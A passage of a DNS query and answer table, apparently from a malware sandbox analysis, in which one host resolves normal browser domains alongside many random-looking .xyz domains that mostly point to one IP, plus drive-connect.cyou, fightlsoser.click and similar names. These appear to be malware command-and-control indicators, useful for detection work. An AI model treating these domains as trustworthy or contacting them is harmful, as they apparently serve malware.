Dec 12, 2024 14:27:46.907954931 CET	192.168.2.4	1.1.1.1	0xb875	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.057312012 CET	192.168.2.4	1.1.1.1	0x7ae5	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Dec 12, 2024 14:27:47.057349920 CET	192.168.2.4	1.1.1.1	0x75a9	Standard query (0)	wmwukkaseiecomsm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.068953037 CET	192.168.2.4	1.1.1.1	0x2c2f	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Dec 12, 2024 14:27:47.069472075 CET	192.168.2.4	1.1.1.1	0x8915	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Dec 12, 2024 14:27:47.069839954 CET	192.168.2.4	1.1.1.1	0x4fc1	Standard query (0)	cyigqcqwogwqismi.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.218849897 CET	192.168.2.4	1.1.1.1	0x2cc6	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.228815079 CET	192.168.2.4	1.1.1.1	0xbf08	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.390980005 CET	192.168.2.4	1.1.1.1	0x6db9	Standard query (0)	dualstack.reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.391526937 CET	192.168.2.4	1.1.1.1	0x37f4	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.541667938 CET	192.168.2.4	1.1.1.1	0x2e6f	Standard query (0)	dualstack.reddit.map.fastly.net	28	IN (0x0001)	false
Dec 12, 2024 14:27:47.553713083 CET	192.168.2.4	1.1.1.1	0x38af	Standard query (0)	twitter.com	28	IN (0x0001)	false
Dec 12, 2024 14:27:47.788528919 CET	192.168.2.4	1.1.1.1	0x4fc1	Standard query (0)	cyigqcqwogwqismi.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:48.811676025 CET	192.168.2.4	1.1.1.1	0x4fc1	Standard query (0)	cyigqcqwogwqismi.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:49.293370962 CET	192.168.2.4	1.1.1.1	0x10b4	Standard query (0)	ggqqcmcysoceqeik.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:49.980310917 CET	192.168.2.4	1.1.1.1	0x10b4	Standard query (0)	ggqqcmcysoceqeik.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:50.980477095 CET	192.168.2.4	1.1.1.1	0x10b4	Standard query (0)	ggqqcmcysoceqeik.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:51.715368986 CET	192.168.2.4	1.1.1.1	0x49aa	Standard query (0)	ggsquueekuimuask.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:52.418397903 CET	192.168.2.4	1.1.1.1	0xe7ff	Standard query (0)	wmykwaogosecqomu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:53.129508972 CET	192.168.2.4	1.1.1.1	0xe7ff	Standard query (0)	wmykwaogosecqomu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:53.402947903 CET	192.168.2.4	1.1.1.1	0x689e	Standard query (0)	uiuyeseyiukqqkqa.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:54.074646950 CET	192.168.2.4	1.1.1.1	0xe700	Standard query (0)	msuqawwecqeaciwy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:54.761603117 CET	192.168.2.4	1.1.1.1	0xe700	Standard query (0)	msuqawwecqeaciwy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:54.827704906 CET	192.168.2.4	1.1.1.1	0x2fda	Standard query (0)	cyqakwwoewksakei.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:56.679367065 CET	192.168.2.4	1.1.1.1	0xfb1b	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 12, 2024 14:27:56.991694927 CET	192.168.2.4	1.1.1.1	0x5dea	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 12, 2024 14:27:57.008956909 CET	192.168.2.4	1.1.1.1	0x141e	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 12, 2024 14:27:57.038625956 CET	192.168.2.4	1.1.1.1	0xee8a	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 12, 2024 14:27:57.228660107 CET	192.168.2.4	1.1.1.1	0xacc	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 12, 2024 14:27:57.265861988 CET	192.168.2.4	1.1.1.1	0x35e	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Dec 12, 2024 14:27:57.319346905 CET	192.168.2.4	1.1.1.1	0x59f8	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 12, 2024 14:26:17.661504030 CET	1.1.1.1	192.168.2.4	0x269e	No error (0)	drive-connect.cyou		104.21.79.7	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:26:17.661504030 CET	1.1.1.1	192.168.2.4	0x269e	No error (0)	drive-connect.cyou		172.67.139.78	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:26:21.589638948 CET	1.1.1.1	192.168.2.4	0x731c	No error (0)	peerhost59mj7i6macla65r.com		94.154.172.218	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:26:56.562772036 CET	1.1.1.1	192.168.2.4	0xd4b6	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:00.545047998 CET	1.1.1.1	192.168.2.4	0xef01	No error (0)	grahm.xyz		116.203.10.31	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:18.351329088 CET	1.1.1.1	192.168.2.4	0x84cf	No error (0)	aukuqiksseyscgie.xyz		185.200.191.124	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:19.922230005 CET	1.1.1.1	192.168.2.4	0xde09	Name error (3)	ikecgokgwsysscqe.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:21.043013096 CET	1.1.1.1	192.168.2.4	0xdfa6	No error (0)	ausmoiqykiskemym.xyz		188.40.187.174	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:21.115122080 CET	1.1.1.1	192.168.2.4	0xdfa6	No error (0)	ausmoiqykiskemym.xyz		188.40.187.174	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:21.399106026 CET	1.1.1.1	192.168.2.4	0x13e1	Name error (3)	koaywyekuqqeyyww.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:21.617224932 CET	1.1.1.1	192.168.2.4	0xd308	Name error (3)	auegquiusggyykii.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:21.880978107 CET	1.1.1.1	192.168.2.4	0xb33a	Name error (3)	seaamokeuaweaima.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:24.143985033 CET	1.1.1.1	192.168.2.4	0x8a21	No error (0)	wmyekoqqyyqyoqgu.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:24.144130945 CET	1.1.1.1	192.168.2.4	0x8a21	No error (0)	wmyekoqqyyqyoqgu.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:24.144298077 CET	1.1.1.1	192.168.2.4	0x8a21	No error (0)	wmyekoqqyyqyoqgu.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:26.028606892 CET	1.1.1.1	192.168.2.4	0x75ac	No error (0)	yqaouccmkggsweqk.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:26.028665066 CET	1.1.1.1	192.168.2.4	0x75ac	No error (0)	yqaouccmkggsweqk.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:26.738404036 CET	1.1.1.1	192.168.2.4	0x978d	No error (0)	uiggiccuoaayaqec.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:29.239629030 CET	1.1.1.1	192.168.2.4	0x816b	No error (0)	qamcsicuaqsaaqyw.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:29.239645004 CET	1.1.1.1	192.168.2.4	0x816b	No error (0)	qamcsicuaqsaaqyw.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:29.239655018 CET	1.1.1.1	192.168.2.4	0x816b	No error (0)	qamcsicuaqsaaqyw.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:29.992877007 CET	1.1.1.1	192.168.2.4	0x15f1	No error (0)	wmeqmmsqaiaayumg.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:30.897407055 CET	1.1.1.1	192.168.2.4	0x14ab	No error (0)	ggkswqokuuisecci.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:33.209870100 CET	1.1.1.1	192.168.2.4	0x71d8	No error (0)	owswomyokkgkyayg.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:33.209883928 CET	1.1.1.1	192.168.2.4	0x71d8	No error (0)	owswomyokkgkyayg.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:33.209887981 CET	1.1.1.1	192.168.2.4	0x71d8	No error (0)	owswomyokkgkyayg.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:35.659579039 CET	1.1.1.1	192.168.2.4	0xbb41	No error (0)	uiqyyqqcscaiaska.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:35.659929991 CET	1.1.1.1	192.168.2.4	0xbb41	No error (0)	uiqyyqqcscaiaska.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:35.660284996 CET	1.1.1.1	192.168.2.4	0xbb41	No error (0)	uiqyyqqcscaiaska.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:36.416313887 CET	1.1.1.1	192.168.2.4	0xe6bd	No error (0)	uiuqygeuogieacgw.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:38.486205101 CET	1.1.1.1	192.168.2.4	0x65dd	No error (0)	yqqeqcygyguuwwkk.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:38.486241102 CET	1.1.1.1	192.168.2.4	0x65dd	No error (0)	yqqeqcygyguuwwkk.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:39.154889107 CET	1.1.1.1	192.168.2.4	0xb6bc	No error (0)	qacmygkcsgcsysmm.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:39.903980017 CET	1.1.1.1	192.168.2.4	0xb66c	No error (0)	owiquiwokycswmmw.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:42.550868988 CET	1.1.1.1	192.168.2.4	0x8c5f	No error (0)	ggyyqmymikikcsew.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:42.550942898 CET	1.1.1.1	192.168.2.4	0x8c5f	No error (0)	ggyyqmymikikcsew.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:42.550952911 CET	1.1.1.1	192.168.2.4	0x8c5f	No error (0)	ggyyqmymikikcsew.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:43.319185019 CET	1.1.1.1	192.168.2.4	0x4d83	No error (0)	ecyuqucgyqyqeiqg.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:43.858556032 CET	1.1.1.1	192.168.2.4	0xb9dd	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.044584990 CET	1.1.1.1	192.168.2.4	0x7765	No error (0)	youtube.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.202291965 CET	1.1.1.1	192.168.2.4	0x8a24	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 14:27:44.202291965 CET	1.1.1.1	192.168.2.4	0x8a24	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.207523108 CET	1.1.1.1	192.168.2.4	0x59ff	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 14:27:44.207523108 CET	1.1.1.1	192.168.2.4	0x59ff	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.208061934 CET	1.1.1.1	192.168.2.4	0xc69e	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 14:27:44.208061934 CET	1.1.1.1	192.168.2.4	0xc69e	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 14:27:44.208061934 CET	1.1.1.1	192.168.2.4	0xc69e	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.208522081 CET	1.1.1.1	192.168.2.4	0x1923	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.208904028 CET	1.1.1.1	192.168.2.4	0xe066	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 14:27:44.208904028 CET	1.1.1.1	192.168.2.4	0xe066	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.214168072 CET	1.1.1.1	192.168.2.4	0x2c39	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 14:27:44.287473917 CET	1.1.1.1	192.168.2.4	0x2299	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.346245050 CET	1.1.1.1	192.168.2.4	0x2f1e	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 14:27:44.346245050 CET	1.1.1.1	192.168.2.4	0x2f1e	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.423873901 CET	1.1.1.1	192.168.2.4	0x94e7	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.425960064 CET	1.1.1.1	192.168.2.4	0x8817	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.426955938 CET	1.1.1.1	192.168.2.4	0xe3aa	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.620834112 CET	1.1.1.1	192.168.2.4	0xc2c0	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Dec 12, 2024 14:27:44.835542917 CET	1.1.1.1	192.168.2.4	0xb971	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.836164951 CET	1.1.1.1	192.168.2.4	0xc856	No error (0)	youtube.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.877593040 CET	1.1.1.1	192.168.2.4	0xba9c	No error (0)	koswyyuqiksguuke.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:44.877717018 CET	1.1.1.1	192.168.2.4	0xba9c	No error (0)	koswyyuqiksguuke.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:45.033931971 CET	1.1.1.1	192.168.2.4	0xab1c	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Dec 12, 2024 14:27:45.033973932 CET	1.1.1.1	192.168.2.4	0x701e	No error (0)	youtube.com			28	IN (0x0001)	false
Dec 12, 2024 14:27:45.162627935 CET	1.1.1.1	192.168.2.4	0x9e4	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:45.179441929 CET	1.1.1.1	192.168.2.4	0x396b	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:45.199923038 CET	1.1.1.1	192.168.2.4	0x808	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:45.229890108 CET	1.1.1.1	192.168.2.4	0x3585	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:45.554280996 CET	1.1.1.1	192.168.2.4	0x256c	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:45.582808018 CET	1.1.1.1	192.168.2.4	0x9f00	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:45.604933023 CET	1.1.1.1	192.168.2.4	0x9b0d	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:45.604933023 CET	1.1.1.1	192.168.2.4	0x9b0d	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:45.605400085 CET	1.1.1.1	192.168.2.4	0x1d14	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:45.606363058 CET	1.1.1.1	192.168.2.4	0x84a4	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 14:27:45.606363058 CET	1.1.1.1	192.168.2.4	0x84a4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:45.620232105 CET	1.1.1.1	192.168.2.4	0x1682	No error (0)	ggqmywegmoqyygiy.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.056358099 CET	1.1.1.1	192.168.2.4	0x3686	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.312846899 CET	1.1.1.1	192.168.2.4	0xe3c9	No error (0)	yqgckwiqkcgeygak.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.694641113 CET	1.1.1.1	192.168.2.4	0x9891	No error (0)	fightlsoser.click		172.67.213.48	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.694641113 CET	1.1.1.1	192.168.2.4	0x9891	No error (0)	fightlsoser.click		104.21.35.43	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.882462978 CET	1.1.1.1	192.168.2.4	0xbf79	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 14:27:46.882462978 CET	1.1.1.1	192.168.2.4	0xbf79	No error (0)	star-mini.c10r.facebook.com		157.240.196.35	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.883415937 CET	1.1.1.1	192.168.2.4	0x2eec	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 14:27:46.883415937 CET	1.1.1.1	192.168.2.4	0x2eec	No error (0)	youtube-ui.l.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.883415937 CET	1.1.1.1	192.168.2.4	0x2eec	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.883415937 CET	1.1.1.1	192.168.2.4	0x2eec	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.883415937 CET	1.1.1.1	192.168.2.4	0x2eec	No error (0)	youtube-ui.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.883415937 CET	1.1.1.1	192.168.2.4	0x2eec	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.883415937 CET	1.1.1.1	192.168.2.4	0x2eec	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.883415937 CET	1.1.1.1	192.168.2.4	0x2eec	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.883415937 CET	1.1.1.1	192.168.2.4	0x2eec	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.883415937 CET	1.1.1.1	192.168.2.4	0x2eec	No error (0)	youtube-ui.l.google.com		172.217.21.46	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.883415937 CET	1.1.1.1	192.168.2.4	0x2eec	No error (0)	youtube-ui.l.google.com		142.250.181.46	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:46.885102034 CET	1.1.1.1	192.168.2.4	0xefa9	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 14:27:46.885102034 CET	1.1.1.1	192.168.2.4	0xefa9	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.024090052 CET	1.1.1.1	192.168.2.4	0x75a9	No error (0)	wmwukkaseiecomsm.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.033843040 CET	1.1.1.1	192.168.2.4	0xdaea	No error (0)	star-mini.c10r.facebook.com		157.240.196.35	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.034831047 CET	1.1.1.1	192.168.2.4	0xaa23	No error (0)	youtube-ui.l.google.com		142.250.181.46	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.034831047 CET	1.1.1.1	192.168.2.4	0xaa23	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.034831047 CET	1.1.1.1	192.168.2.4	0xaa23	No error (0)	youtube-ui.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.034831047 CET	1.1.1.1	192.168.2.4	0xaa23	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.034831047 CET	1.1.1.1	192.168.2.4	0xaa23	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.034831047 CET	1.1.1.1	192.168.2.4	0xaa23	No error (0)	youtube-ui.l.google.com		172.217.21.46	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.034831047 CET	1.1.1.1	192.168.2.4	0xaa23	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.034831047 CET	1.1.1.1	192.168.2.4	0xaa23	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.034831047 CET	1.1.1.1	192.168.2.4	0xaa23	No error (0)	youtube-ui.l.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.034831047 CET	1.1.1.1	192.168.2.4	0xaa23	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.046446085 CET	1.1.1.1	192.168.2.4	0xb875	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.194281101 CET	1.1.1.1	192.168.2.4	0x75a9	No error (0)	wmwukkaseiecomsm.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.196538925 CET	1.1.1.1	192.168.2.4	0x7ae5	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Dec 12, 2024 14:27:47.207272053 CET	1.1.1.1	192.168.2.4	0x8915	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Dec 12, 2024 14:27:47.207272053 CET	1.1.1.1	192.168.2.4	0x8915	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Dec 12, 2024 14:27:47.207272053 CET	1.1.1.1	192.168.2.4	0x8915	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Dec 12, 2024 14:27:47.207272053 CET	1.1.1.1	192.168.2.4	0x8915	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Dec 12, 2024 14:27:47.210032940 CET	1.1.1.1	192.168.2.4	0x2c2f	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Dec 12, 2024 14:27:47.357434988 CET	1.1.1.1	192.168.2.4	0x2cc6	No error (0)	www.reddit.com	dualstack.reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 14:27:47.357434988 CET	1.1.1.1	192.168.2.4	0x2cc6	No error (0)	dualstack.reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.357434988 CET	1.1.1.1	192.168.2.4	0x2cc6	No error (0)	dualstack.reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.357434988 CET	1.1.1.1	192.168.2.4	0x2cc6	No error (0)	dualstack.reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.357434988 CET	1.1.1.1	192.168.2.4	0x2cc6	No error (0)	dualstack.reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.365824938 CET	1.1.1.1	192.168.2.4	0xbf08	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.529391050 CET	1.1.1.1	192.168.2.4	0x37f4	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.529593945 CET	1.1.1.1	192.168.2.4	0x6db9	No error (0)	dualstack.reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.529593945 CET	1.1.1.1	192.168.2.4	0x6db9	No error (0)	dualstack.reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.529593945 CET	1.1.1.1	192.168.2.4	0x6db9	No error (0)	dualstack.reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.529593945 CET	1.1.1.1	192.168.2.4	0x6db9	No error (0)	dualstack.reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:47.680845022 CET	1.1.1.1	192.168.2.4	0x2e6f	No error (0)	dualstack.reddit.map.fastly.net			28	IN (0x0001)	false
Dec 12, 2024 14:27:47.680845022 CET	1.1.1.1	192.168.2.4	0x2e6f	No error (0)	dualstack.reddit.map.fastly.net			28	IN (0x0001)	false
Dec 12, 2024 14:27:47.680845022 CET	1.1.1.1	192.168.2.4	0x2e6f	No error (0)	dualstack.reddit.map.fastly.net			28	IN (0x0001)	false
Dec 12, 2024 14:27:47.680845022 CET	1.1.1.1	192.168.2.4	0x2e6f	No error (0)	dualstack.reddit.map.fastly.net			28	IN (0x0001)	false
Dec 12, 2024 14:27:49.233727932 CET	1.1.1.1	192.168.2.4	0x4fc1	No error (0)	cyigqcqwogwqismi.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:49.233773947 CET	1.1.1.1	192.168.2.4	0x4fc1	No error (0)	cyigqcqwogwqismi.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
